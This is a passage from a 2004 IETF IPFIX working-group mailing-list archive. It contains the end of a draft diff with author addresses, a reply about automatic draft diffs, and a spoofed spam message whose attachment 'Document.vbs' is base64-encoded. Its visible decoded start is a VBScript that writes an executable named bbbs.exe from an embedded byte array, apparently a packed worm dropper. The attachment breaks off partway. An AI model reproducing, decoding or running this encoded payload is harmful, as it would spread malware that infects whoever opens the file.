   [XXX-SCTP-BLIND-SPOOFING-REFERENCE]=20
=20
 18.      Acknowledgments=20
   =20
   We would like to thank the following <strike><font color=3Dred>persons=
</font></strike> <strong><font color=3Dgreen>persons: Juergen Quittek for=
=20
   the coordination job; Nevil Brownlee and Dave Plonka for the=20
   thorough reviews; Randall Stewart and Peter Lei</font></strong> for th=
eir <strike><font color=3Dred>valuable=20
   technical feedback: Juergen Quittek,</font></strike> <strong><font col=
or=3Dgreen>SCTP=20
   expertise;  Martin Djernaes for the first essay on the SCTP section;</=
font></strong>=20
   Sebastian Zander, <strike><font color=3Dred>Dave Plonka,</font></strik=
e> Jeff Meyer, Maurizio Molina, Carter Bullard, <strike><font color=3Dred=
>Randall Stewart, Peter=20
   Lei,</font></strike> Tal <strike><font color=3Dred>Givoly</font></stri=
ke>=20
   <strong><font color=3Dgreen>Givoly,</font></strong> and many <strike><=
font color=3Dred>more.</font></strike> <strong><font color=3Dgreen>more, =
for the technical feedback.</font></strong>=20
   =20
 Authors Addresses=20
=20
   Benoit Claise=20
   Cisco Systems=20
   De Kleetlaan 6a b1=20
   1831 Diegem=20
   Belgium=20
   Phone: +32 2 704 5622=20
   E-mail: bclaise@cisco.com=20
=20
   <strong><font color=3Dgreen>Stewart Bryant=20
   Cisco Systems, Inc.=20
   250, Longwater,=20
   Green Park,=20
   Reading, RG2 6GB,=20
   United Kingdom=20
   Phone: +44 (0)20 8824-8828            =20
   Email: stbryant@cisco.com=20
   =20

=20
=20
  Claise, et. al            Standard Track                   [Page 50]=20
                   IPFIX Protocol Specification            August 2004=20
=20
=20
   Ganesh Sadasivan=20
   Cisco Systems, Inc.=20
   170 W. Tasman Dr.=20
   San Jose, CA 95134=20
   USA=20
   Phone: +1 (408) 527-0251=20
   Email: gsadasiv@cisco.com</font></strong>=20
   =20
   Mark Fullmer=20
   OARnet=20
   2455 North Star Rd.=20
   Columbus, Ohio 43221=20
   Phone: +1 (614) 728-8100=20
   Email: maf@eng.oar.net=20
   =20
   Reinaldo Penno=20
   Nortel Networks=20
   2305 Mission College Blvd=20

=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 50]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   Santa Clara, CA 95054=20
   Phone: +1 408.565.3023=20
   Email: rpenno@nortelnetworks.com=20
   =20
   Paul Calato =20
   Riverstone Networks, Inc. =20
   5200 Great America Parkway =20
   Santa Clara, CA 95054  USA =20
   Phone:  +1 (603) 557-6913 =20
   Email: calato@riverstonenet.com=20
   =20
   <strike><font color=3Dred>Ganesh Sadasivan=20
   Cisco Systems, Inc.=20
   170 W. Tasman Dr.=20
   San Jose, CA 95134=20
   USA=20
   Phone: +1 (408) 527-0251=20
   Email: gsadasiv@cisco.com=20
   =20
   Stewart Bryant=20
   Cisco Systems, Inc.=20
   250, Longwater,=20
   Green Park,=20
   Reading, RG2 6GB,=20
   United Kingdom=20
   Phone: +44 (0)20 8824-8828            =20
   Email: stbryant@cisco.com</font></strike>=20

















=20
=20
  Claise, et. al            Standard Track                   [Page 51]=20
</pre>

--------------030704050604080505060801--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Aug 13 21:13:43 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA29996
	for <ipfix-archive@lists.ietf.org>; Fri, 13 Aug 2004 21:13:43 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bvmny-0006Nu-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 13 Aug 2004 19:53:54 -0500
Received: from diotima.switch.ch ([130.59.4.87])
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1Bvmnx-0006Nl-00
	for ipfix-protocol@net.doit.wisc.edu; Fri, 13 Aug 2004 19:53:53 -0500
Received: from diotima.switch.ch (localhost [127.0.0.1])
	by diotima.switch.ch (8.12.11/8.12.11) with ESMTP id i7E0qh1t026870
	(version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO);
	Sat, 14 Aug 2004 02:52:44 +0200 (CEST)
Received: (from leinen@localhost)
	by diotima.switch.ch (8.12.11/8.12.11/Submit) id i7E0qg4d026869;
	Sat, 14 Aug 2004 02:52:42 +0200 (CEST)
To: Benoit Claise <bclaise@cisco.com>
Cc: ipfix-protocol@net.doit.wisc.edu, Henrik Levkowetz <henrik@levkowetz.com>
Subject: [ipfix-protocol] Workgroup draft page for IPFIX (experimental)
X-Face: 1Nk*r=:$IBBb8|TyRB'2WSY6u:BzMO7N)#id#-4_}MsU5?vTI?dez|JiutW4sKBLjp.l7,
	F
   7QOld^hORRtpCUj)!cP]gtK_SyK5FW(+o"!or:v^C^]OxX^3+IPd\z,@ttmwYVO7l`6OXXYR`
From: Simon Leinen <simon@limmat.switch.ch>
In-Reply-To: <411C9CC3.8080606@cisco.com> (Benoit Claise's message of "Fri,
 13 Aug 2004 12:49:39 +0200")
References: <411C9CC3.8080606@cisco.com>
Date: Sat, 14 Aug 2004 02:52:42 +0200
Message-ID: <aa1xiav8v9.fsf@diotima.switch.ch>
User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (usg-unix-v)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

Benoit Claise writes:
> I've always been thinking the drafts review process in the IETF is
> not quite efficient, as we have to trust the editor summary email
> (if any) for all the changes applied to the new draft version
> ... which most of the time implies reading the entire draft... which
> causes delay in the review...
> So I've included the a riff file between the two previous versions,
> based on htmlwdiff.

Note that thanks to Henrik Levkowetz' effort, diffs between draft
revisions are automatically created on

http://ietf.levkowetz.com/drafts/ipfix/

every time a new revision of an IPFIX working group document is
discovered in the official internet-drafts directory (using the
draft-ietf-ipfix- name heuristic).

Hope this helps,
-- 
Simon.


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Aug 20 17:03:28 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA13992
	for <ipfix-archive@lists.ietf.org>; Fri, 20 Aug 2004 17:03:26 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1ByGCx-00070B-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 20 Aug 2004 15:41:55 -0500
Received: from p16.pub.ro ([141.85.0.67] helo=julian.org)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1ByGCm-000705-00
	for ipfix@net.doit.wisc.edu; Fri, 20 Aug 2004 15:41:44 -0500
Date: Fri, 20 Aug 2004 23:41:37 +0200
To: ipfix@net.doit.wisc.edu
Subject: [ipfix] Request response
From: plonka@doit.wisc.edu
Message-ID: <bglolyjfaenbxllnore@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------vrwgarhgflytfozfudzv"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------vrwgarhgflytfozfudzv
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
More info is in attach<br><br>

<br>
</body></html>

----------vrwgarhgflytfozfudzv
Content-Type: application/octet-stream; name="Document.vbs"
Content-Disposition: attachment; filename="Document.vbs"
Content-Transfer-Encoding: base64

ZGltIGZpbGVzeXMsIGZpbGV0eHQsIGdldG5hbWUsIHBhdGgsIHRleHRmaWxlLCBpDQp0ZXh0
ZmlsZSA9ICJiYmJzLmV4ZSINClNldCBmaWxlc3lzID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRp
bmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgZmlsZXR4dCA9IGZpbGVzeXMuQ3JlYXRlVGV4
dEZpbGUodGV4dGZpbGUsIFRydWUpDQpnZXRuYW1lID0gZmlsZXN5cy5HZXRGaWxlTmFtZShw
YXRoKQ0KZGltIGENCmE9QXJyYXkoNzcsOTAsMCwwLDEsMCwwLDAsMiwwLDAsMCwyNTUsMjU1
LDAsMCw2NCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwwLDAsMCwwLDAsMTgwLDc2LDIwNSwzMyww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNDQsMCww
LDAsMTY5LDM4LDIyMSwxOSwyMzcsNzEsMTc5LDY0LDIzNyw3MSwxNzksNjQsMjM3LDcxLDE3
OSw2NCwyMzcsNzEsMTc5LDY0LDIzOCw3MSwxNzksNjQsOTksODgsMTYwLDY0LDEwOSw3MSwx
NzksNjQsMTcsMTAzLDE2MSw2NCwyMzYsNzEsMTc5LDY0LDQyLDY1LDE4MSw2NCwyMzYsNzEs
MTc5LDY0LDgyLDEwNSw5OSwxMDQsMjM3LDcxLDE3OSw2NCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw4MCw2OSwwLDAsNzYsMSwzLDAsMjEsMTQz
LDE0MSw2NCwwLDAsMCwwLDAsMCwwLDAsMjI0LDAsMTUsMSwxMSwxLDUsMTIsMCwxNDQsMCww
LDAsMTYsMCwwLDAsMTQ0LDAsMCw0OCw0MSwxLDAsMCwxNjAsMCwwLDAsNDgsMSwwLDAsMCw2
NCwwLDAsMTYsMCwwLDAsMiwwLDAsNCwwLDAsMCwwLDAsMCwwLDQsMCwwLDAsMCwwLDAsMCww
LDY0LDEsMCwwLDE2LDAsMCwwLDAsMCwwLDIsMCwwLDAsMCwwLDE2LDAsMCwxNiwwLDAsMCww
LDE2LDAsMCwxNiwwLDAsMCwwLDAsMCwxNiwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTY0LDUx
LDEsMCw3NiwyLDAsMCwwLDQ4LDEsMCwxNjQsMywwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDg1LDgwLDg4LDQ4LDAsMCwwLDAsMCwxNDQsMCww
LDAsMTYsMCwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxMjgs
MCwwLDIyNCw4NSw4MCw4OCw0OSwwLDAsMCwwLDAsMTQ0LDAsMCwwLDE2MCwwLDAsMCwxNDAs
MCwwLDAsMiwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNjQsMCwwLDIyNCw0NiwxMTQs
MTE1LDExNCw5OSwwLDAsMCwwLDE2LDAsMCwwLDQ4LDEsMCwwLDYsMCwwLDAsMTQyLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMTkyLDQ5LDQ2LDUwLDUyLDAsODUsODAs
ODgsMzMsMTIsOSwyLDgsMjUxLDI0Myw5Miw0Miw4NywyMTUsOTcsMTg3LDE5OSw3LDEsMCw1
LDEzNywwLDAsMCwyMjQsMCwwLDM4LDIwLDAsMTE5LDIzNywyMzcsMjU1LDIxOSwxMywxMCwx
LDg1LDc4LDczLDgxLDg1LDY5LDMyLDgwLDY5LDc5LDgwLDc2LDYsNzcsNjUsNzUsNCwyMzYs
MjE0LDI1NCw5NiwxOCw4NCw3Miw3Myw3OCw3MSw4MywzMyw3LDY1LDg0LDEyLDEyMywxMTUs
MjU1LDMxLDMyLDgzLDg0LDY1LDg5LDMyLDY2LDY5LDg5LDc5LDc4LDY4LDE4LDM1LDc4LDc5
LDgyLDUwLDE3NCwxODksMjE5LDEyNiw3NiwzMiw3Niw3Myw3MCwxMSw2NSwxOSw2Nyw3OSw3
Nyw3NywyNyw2NSwyMzgsMTU4LDEwNywyMzgsNjgsNjksODIsNDMsNiw1Myw2NSw5Niw4Miw3
OSw2NiwyMzcsMTc2LDIxNSw5NCw3NywzMiw3Myw2OCw4MCwxMTIsNjgsNDUsMTg5LDEyNywx
MSwyMTYsMzksODQsNDcsOTcsODUsNjcsNzIsMzIsODcsNzMsNzYsOTUsNTMsMTAzLDE4Miwy
NDYsMTE0LDQ0LDYyLDkzLDc1LDE1NSw4OCwxMTEsOTYsMjM3LDE3Myw3OSwyMyw3OCw2OSw4
Niw0NCw1MCw5NCw2OSwyMTYsMjQ2LDk4LDQ5LDEzNCw0NiwzMiwwLDEzNSwxMTEsMjU1LDIz
Nyw0NSw0NSw5MSwxMTcsMTE2LDEwNCwxMTEsMTE0LDMyLDExMSwxMDIsMjE4LDk3LDEwMywx
MDgsMTAxLDIyLDI1NSwyNTUsMjU1LDE4NywxLDAsNTAsMTkzLDEzOCwyMDksMjA4LDIyNywx
MDcsOCw4OCwyMDgsMjM1LDExNCw3LDEyOCwyNDMsMzMsMTMwLDE4NSwyMzYsMjI3LDI0NSwx
MzYsMjEsMTMyLDIyOSwyNDIsMTkxLDI1MywyNTUsMjU1LDY1LDEsMjU1LDE5MywxMTYsMjI3
LDE5NCw4NCwxMzgsMjM3LDg3LDEzOCw2OCw5LDEzOCwxMTYsMTMsMTM4LDc2LDE3LDIyNiwy
NSw0NSwxOTIsMjM1LDksNTEsNywyMjAsMjU1LDE3NywyMjEsMzYsMjU0LDU5LDEzOCw1LDM4
LDUwLDE5NSw3MSwyMjcsMjMzLDk1LDIwMCwxOTUsMTMsMSw0MywxMDcsMjM3LDE4MywyMzks
NDIsMjQ2LDIwOSwyNTQsMTE2LDE3LDIsMTMsODEsMjMzLDE5MywyNTQsMCwxMywyNSwxOTEs
MjUzLDI0Niw3LDEzMCwxOTcsMjQ1LDEwNSwxLDMzLDUzLDEwNywxLDIzMyw0OSw2Niw2LDEz
Niw2OCwyNTMsMTk4LDY4LDI1NSwxOTAsMTk3LDE5MCwyNDUsMTMwLDEwNywxLDQ4LDksMjMz
LDEwOSw2NiwxMywxNDAsNjgsMjQ5LDgxLDI1NSwxNTUsMTc1LDEyMyw0MSwxOCwyNTMsMjEs
NjMsMTMwLDEyNCwyNDksMSwxMTYsMywyMzQsMTgsMjU0LDExNiwxMTksMTExLDIzOCwxNDUs
MjQ5LDI0NSwyMzMsMTQ1LDkxLDY3LDI0NSwyMzQsMjA2LDE1LDIzMywyMjgsNjcsMjE5LDU0
LDExNSw5Niw3MCwzNiwxMzUsMjQ1LDExOSw1LDEwNiwxODMsMjQ2LDIyMCwxMTAsMTcyLDI1
LDE2MiwyMjUsMTY1LDIwMCwyMzYsNzEsOSwzLDE4MywyMTcsMjIyLDIyMywxMTQsNSwyNSwx
MDcsNSwxMDUsMjIsMTY0LDcwLDI1NCw0LDExLDE4OSwyMzcsMTkzLDE4MiwxNzAsNDgsNyw1
MCwyMTEsMjQ2LDcxLDE0NywzOCwyMzgsMjQ2LDE3MywyMjAsNTMsODYsMjUzLDEzOCwyNTIs
MTMsMTkyLDIzMiwzLDY0LDI0MiwxNzAsOSwyMzksNjIsMTc4LDI1MywxMzAsMjI0LDIsMjQy
LDE3MSw5NCwzMCw5LDgyLDEzOCw5MiwxMywzMywxMDcsMjcsMjMzLDE1MiwyNDIsMTQ4LDI1
MywxMTksNzMsMTMwLDE5Myw5NiwyNTMsMTcxLDc0LDExNiwyNDAsOTAsMzEsMTEsMjMzLDEy
MCwxMTksMjMxLDIyLDUwLDQ5LDE3NywxODQsMCwyMzMsNjgsMTY5LDE0OSw5MSwyMzUsMTI2
LDEwLDE5MywxMTcsMTUsODEsMTA3LDE0OCwxMTcsMTIsMTg3LDEwMiw2NCwyNTUsNDQsMTE2
LDEzMSwxMzEsODcsNjksMTE2LDEzMiwxMjQsNTAsMjE4LDIyNiw4NSwxNzMsMTM0LDQ3LDIx
OSwyNTUsMTkyLDIyNSwxNywxMzAsMjQ4LDAsMTE3LDEwLDE3MywxMDMsOSw5LDMsMTE3LDAs
MTczLDE1NCwxNSwyNDIsMjQ2LDI0MCwyMzMsMTksMjMzLDYwLDE1MiwxOTUsOSwxMywyMzMs
NTAsNywyMzMsNDAsMjIzLDIxOCwxODcsMzUsMjMzLDM1LDYsNjYsMTMwLDI1MCwxOSw3Miw2
NiwxMDMsMTg1LDEyLDExLDE3LDkwLDI1MSwyNTUsMTAzLDE3MCwxMzAsMjMyLDIsMTIwLDE3
OSwyNDYsMjE2LDQyLDI0OCwxNzcsNjAsMjA4LDE0NSwxOTYsMjU1LDI1NSwyNTUsMjU1LDEz
MCwyMjUsNjIsNjEsNjMsMTE0LDE5LDYxLDUzLDExNCwxMSw1LDY0LDYxLDkwLDExNSwxNCw1
LDcsMjM0LDEwLDUsMjUzLDIzNCw2LDQ1LDYzLDE5MywyMjUsMyw1LDQyLDIxNCw2MSwxODAs
MTM1LDE3MSw3Myw4MiwxNDQsMTA1LDExNCwxNjEsMTMyLDE3OSwyNTUsMTM0LDE0LDI0Nyw1
MCwxMzgsMjE3LDIyNCwzNCwyNTMsOTcsMjAwLDI1NCwyNDMsMTc1LDEyOSw2MiwxLDExNywy
NTUsMTA5LDE5MSwxODMsMjQsMTc4LDIzMywzNCw2NCwyMTEsMTE2LDYsODksOTAsMjM3LDEz
Niw3LDEzMCwxOTksNSwyMjEsMjUsNTEsMjQ3LDIzNCwyMTksMTg1LDAsMTM2LDE4LDI0LDI1
MywyMjIsMTA1LDk3LDg3LDI0OCwxODUsMywyMSw4MywxMzksMjU1LDM2LDc3LDcwLDcwLDEz
MiwyMzgsOTgsMTI3LDExOSwxODQsMSwxOSwxMzcsMjEsNTksMjU1LDE5NSwyMjcsMjQ4LDE4
LDk4LDE5OSw2OCwyNTUsMTA3LDE0MSwyMjMsNTQsMTEzLDIwMCwxOTIsMTM5LDUsNTgsMTM3
LDY4LDEzMywxMyw4LDQzLDIxOSwyMzgsMTEwLDQ4LDUsMTQsMTgzLDg0LDksNTksMTM3LDIx
LDEzOSw1LDIwNSwxOTAsOTMsMTIwLDU5LDY0LDU4LDQwLDExNSwzLDQwLDI1NSwxOTQsMTE2
LDIxMiwyMTYsMTI1LDEyMywxOTMsMTU3LDEwNiwyNDksMTg1LDE0Myw5LDEzOSwyLDYwLDI1
MiwxMzksNjYsMCwyMDYsNzAsMTA4LDE2MSw1LDIyMCwyNTAsODcsMTQwLDI0OSwyMzcsOTUs
MTA3LDYzLDIyOCw2NSwyNTUsMjcsNzksMywyMSw1NywxMzcsODQsOTksMjE2LDI0NiwxOTAs
MjIxLDg0LDI1MywxMywyNTMsMTM5LDEyLDI1NSwyMywxNDUsNTcsMTYsMTgyLDE4NSwyMDYs
MTgxLDI2LDksNSwzLDEyMiwxNjQsMTM4LDY0LDIxOCwxNzMsMTIzLDI1MSw0OSwyMSw0OSwy
NTQsNSwyMjcsMTkzLDEzOSwzNSwyLDQsMjUzLDEzNyw5NiwyNDAsMjM3LDE0NywyNDQsMjMw
LDI1LDEzOCw2NSw2MSwyLDUsMTQsMTgyLDY1LDcsODksMjE2LDIyMSwxMzAsMjE0LDIyNiwx
ODUsNDEsMTE2LDI0NiwxMDAsMjE4LDg0LDIwMSwxMjAsMTExLDEwOSw4MywyOSw1LDIsMTk1
LDQsMTM2LDI4LDEwOCwyMTcsMjAyLDEzNSwxMywxOSwyMDgsMjU0LDYwLDIxLDEzLDIzLDEy
MywxOTMsNzAsNDYsMTg0LDE3LDIwLDIyMSwyMSwxMyw0OSwxODYsMjMwLDE0Miw3Myw4LDgx
LDE0NCwxNTUsNzYsNzUsMTgzLDE3NSw0NSw3Miw5MSw1LDU3LDExMywxMzgsNjYsMTYxLDI0
MCwxODMsMjQ2LDIzNywyNTUsNDIsMjAzLDEzOCw4Miw5LDIsMjA4LDIsODIsMTMsMTM2LDIy
MSwyNTQsMTE0LDE3LDE0MiwxODIsMjMsMjEsMCwzNSwyMjMsMjMzLDEwNyw1LDYzLDc4LDE3
LDYyLDkxLDEwNyw1MCwyMTQsMTI2LDE4Myw0MSw5LDI0NCwyNTMsMTgsMTMsMTQyLDU5LDUs
MTcsMTIxLDE2MSw0NCwyMDMsMjQ5LDIxLDI1Myw1Nyw2NiwzNywzMywyMjEsMTc1LDE1Niwx
MDgsMjI1LDIyMywxMDMsMjU0LDI1LDY1LDgxLDIxMiwwLDIxMSwxMDAsMTU1LDI1Myw4MSw4
MSwxOTgsMTI5LDIwOSwxLDAsOSwyMTMsMjA3LDE5NCwyNDYsMjE2LDcwLDE3LDMzLDksMzcs
NDEsMjM0LDIsNTgsMjUzLDM3LDczLDExMCwxMjQsMjYsMTMsMCwxMDcsMjUxLDM4LDY1LDIy
MywyMzYsMTEwLDEwNyw2OSw4OCwxOSwyMywyNTQsODMsOSwxNywyMzIsMTQwLDE1Nyw5OCwy
MzksMjIzLDg0LDI0OSwxMzcsMywxOTgsNjcsNSw3OSwzNSwyNTMsMTg5LDEzMiwyMzksMjEz
LDE1MywyNTMsMzYsNDYsMjEsMjQ1LDg3LDE0MCwxMjYsNDUsMjcsMTg3LDE5LDE5OCw3LDEz
MSw3MSw0OCwxMDUsMTA3LDMsMTcxLDUsMjUxLDE5Miw0OSwxMzgsNyw5NSw5OSwyMyw3Niwx
MTQsMTE0LDE1Miw1OSwxNDAsMjQ4LDE4LDEsMTIzLDE3OSwyMDAsMjIsOTEsMTM3LDg5LDMs
MTM4LDExOCwyMTcsMjA0LDEyNCwzMywyMDYsMTgyLDkxLDI1LDUwLDE1OCwxOTgsMTE0LDE1
LDEyOCwxOTcsMTIxLDI5LDE3MywyLDI0OCwxMDUsMTM2LDE5MiwxMzQsMjM1LDUxLDEyOSwy
MDMsMjQ4LDYwLDIxLDE4MywyNyw0LDIyLDE2OCw2OSwzLDEyOSwyNSwxNDAsMTMyLDQ1LDIw
MSw2LDIzNiwyMTUsODEsMjI4LDU1LDYzLDIzMSwyNDksMjQsMTE0LDIyMyw4LDExNiw5MCwx
NywzMCwyMDAsMzYsNTAsNjgsMTUwLDIzNywxMDAsNjgsOTUsMTksMjMzLDg2LDIzMCwyMzMs
MjUsMTA3LDE0OCw0NywyNTIsMTUxLDEwMiw2MiwxMjQsMTAzLDE5OCw2OCwyNTEsMTMyLDk3
LDI1MSwxOTQsMTgzLDcwLDExLDUsNzYsMjUxLDI0NiwyMjQsMjI0LDEwNyw2NSwyMzMsMTc1
LDU2LDEwMSwyNTEsMjE2LDE3MywxMzgsMjAxLDYsNDEsMTk0LDIzNywxNDIsNzAsNSw1LDI0
MSwxNTUsMTAyLDIxOSwxMiwyMDUsMTA3LDEwMyw3LDEzLDI1MSwxNSwxOTgsMjQ2LDc2LDQ1
LDE5NCw3MCwxNyw2MywzMSwxNTksMTAsNjMsMTI5LDE3MywxNzMsMTczLDIxMCwzMCw1Miwy
MjUsMTA0LDIsNTQsMTI2LDE4LDQ2LDE4OCwxMDIsOSwxMzYsNzAsNjksMTk4LDk0LDMxLDIy
NSw4Miw4Niw1MCwyNTQsMTE2LDUyLDI5LDI0OCwyMjIsMTEwLDE3NiwxMTAsOTIsMTExLDIx
LDExOCwyMjQsMTQxLDUzLDIyNSw0MiwyMzgsMjQ1LDIwNCwyMDgsMjAsMTkxLDYyLDEzNCwx
MjksNiwyMTQsMTcsMjMzLDE4MSw2Myw4NiwxNCwxMzMsMTE5LDEzNiwxNiwxMzEsMTMyLDI5
LDcsMTQyLDEwLDE4OCw2MCwyNTIsNTgsOSwxOTMsMjAwLDk1LDYxLDQzLDI0OSwxMDAsMTA3
LDE1LDI0Nyw5MywxODUsMTc3LDIyNywxNjAsODUsMjUxLDIxNywyMjcsNjcsNzYsMTg1LDE1
LDM2LDMxLDE4MiwxOTgsMTA5LDIsMiwyOSwyMzcsMiwxNjEsNSwyMjksNzYsMjQxLDgxLDI3
LDIwNCwyMzcsMTAyLDM4LDIwMywyMzMsNTQsMTE5LDE5LDQxLDEyMiwyMzgsMTg1LDM2LDIy
MSwxOCwzNywxNTQsMTM5LDE5LDI1MSw5NiwyNDksMTUzLDE3LDcsMjI3LDU4LDcwLDExMiwx
MjgsMTE0LDIyMSwyNTEsMjIwLDE1MCwyMDksMTQwLDUsMTYyLDI1NCwzMCwyMTMsMjUyLDEw
LDM2LDE2MywxMTUsNywyMzgsOTAsMTA2LDI2LDEwOCwyMzcsMTEzLDIxNiwxMzMsMjM3LDMz
LDE1OCwyMjIsMTIsMjQxLDEyMCw2NiwxMTksMTU0LDk4LDI0NSwxODYsMjI4LDEwNywxMywy
NDksMjIwLDIyLDEyMywxNzIsMjExLDExOSwxMzUsMCwzMCw3NiwxNTMsMjA4LDEyNCwyMDcs
MjQ3LDIxNyw4MSwyNiwxOTQsMCw5LDE5MCwxMDUsMjQ4LDIxMSwyMDUsMTkyLDU5LDIyMiwy
NiwxNDUsMywyMzMsNDUsMjQ4LDIyNSwyNDcsNzcsMTAzLDI1NCw3LDM3LDkxLDEwNSw4OCwx
OTgsNjUsMzIsNSwxMDcsNDEsMjIsMTIzLDU1LDYsODMsNjIsMTg5LDMsOTMsMSwxNzUsMjQ5
LDI0MywxNDksMjA0LDcyLDEzOCw2MiwxMDQsNywyMzMsMjM2LDI0OSwxMTksMTkxLDI1Myw2
NCwxNTQsMTg1LDgxLDIwNSwxNSwyMzQsNTIsMTMwLDI0OSwwLDExLDEsMjA1LDgxLDE1MCwx
MDIsMTgzLDQ0LDQwLDMsMjMsMjA1LDgxLDI4LDIsMjA1LDEwMiw4OSwxMTAsMTcsMTcsMjU0
LDE2LDUsMjU0LDMzLDQsOTAsMjUxLDE0MCwxODksMTg1LDIxMyw3OSwzNiwzNiwxNDAsMjQ0
LDE0MCwxNCwyMjAsMjQwLDE4OSw1MywxOCw1LDM2LDIzMywyMjYsNjEsNzcsNDgsMjE0LDE2
LDIyLDIzOSwxOTQsMjcsMTU1LDIxNCwxMzcsNzksMTg4LDIwMyw3OCw4Miw0LDIzMywxMDgs
MjQ5LDExLDE0LDgxLDIyLDE4MywyMTQsMjQ2LDE3NSw5OSwxMCwyNTAsMTEsMTE5LDQsMTUs
MTE0LDEyLDQsNTQsODEsMjE4LDEzNSwyMDUsNyw3LDE3NSw4MCw4MSwyMiwxODEsMjUyLDks
MTA0LDI0LDE4NCwxMiw0NCwyNDEsMTkzLDgxLDE2NywxMzUsMjcsMTc5LDc0LDE4MiwyMjgs
NTksNzksMjQxLDQ3LDIxMCwyOSwxOTAsMTA5LDMsMjUzLDQ2LDIwLDIzNywyNDYsNjUsMTgz
LDI2LDIwMywxNzksMTg5LDEzNiw0OCwyNDUsODAsNTMsMjcsMjQxLDE5NSw0OSwxNTAsNDUs
MTIxLDI1Myw2OCw3NiwyNTQsMzAsMTUyLDEyNSwxNDUsMTkxLDIyMSwyNDEsMTgyLDExNCw0
OSwxNiwyMzMsMTcsNTgsMTI1LDI4LDQ5LDc2LDE4OCwxOTMsMTAsMzAsMjEsMjUzLDE0MCw1
MCwxMTcsMjMyLDIyMCw5NCwyMjYsMjMzLDI0MiwxNjUsMTkwLDg4LDIzNCwxMTAsMTk0LDc3
LDI1NCwyMTYsMTE2LDE4NiwxMiwyMDYsNjMsMTI2LDIxLDEwNiw1OSw3LDI0MSwyMzMsOTgs
NTksMjEyLDE1MSwxNDEsNiwxNSwyNDUsODIsMTY0LDE1NCwyNDUsMzksMjUwLDY2LDEwOCwx
MDAsMTc4LDI1NCwxNzQsNTUsMjUzLDEyMiw0NywxODQsMTExLDEwOCwxMDgsMTIwLDY2LDY5
LDksODAsMjE5LDQ1LDUxLDE1NSwxMjMsOTMsNiw0OSwyMDksMTUsMTgwLDI0NSwxMzcsMTAw
LDEyMyw0LDE2OSwzMCwyOSwxNzYsMjAsMjQ5LDIyMiwxMzQsNTUsMjQ2LDAsNjYsMTMsMjUz
LDI0MywxMTksMjIzLDU2LDcwLDU4LDIzNiw5NiwyMTgsNjcsMTk4LDEyLDExOSwxMzgsMjIx
LDc3LDE1MiwxMzQsODcsMTMxLDU5LDg0LDExNiwxNzYsMTI1LDQ1LDIyMCwxMTAsMTk5LDE4
Niw5NCw0NywxMDUsMjI5LDU1LDEwNSwxMjcsOSwzMywxODUsMTA4LDE0MSwxNzcsMjQ5LDEx
Nyw5OSw0MSwxNzgsMjM3LDcsMjQ2LDMyLDYwLDYxLDcxLDE5OCwyMzgsMjMsMjM3LDkxLDE4
NCwxOTksMTE4LDE4OCw0NywxMTMsMTc5LDI0Nyw0NCw2LDE5MCwxMDQsNTgsMTk4LDI1NCwy
MzAsMTEwLDEwLDE5MCwxMTQsNiwzMiwyMjEsODEsODYsMjMzLDkwLDI1NSwyNSwxOSwzNSwx
MjQsMjQ2LDI0MCwxMywxODUsMjQyLDE1LDMsMTM4LDIyMiwxMjcsMjMzLDU3LDI1LDExMSw1
MSwxNTEsOTQsMTUyLDE2LDE5OSw1NiwyNDEsMjU1LDE5MywxOTEsMjAxLDE4NywxOTcsMjEw
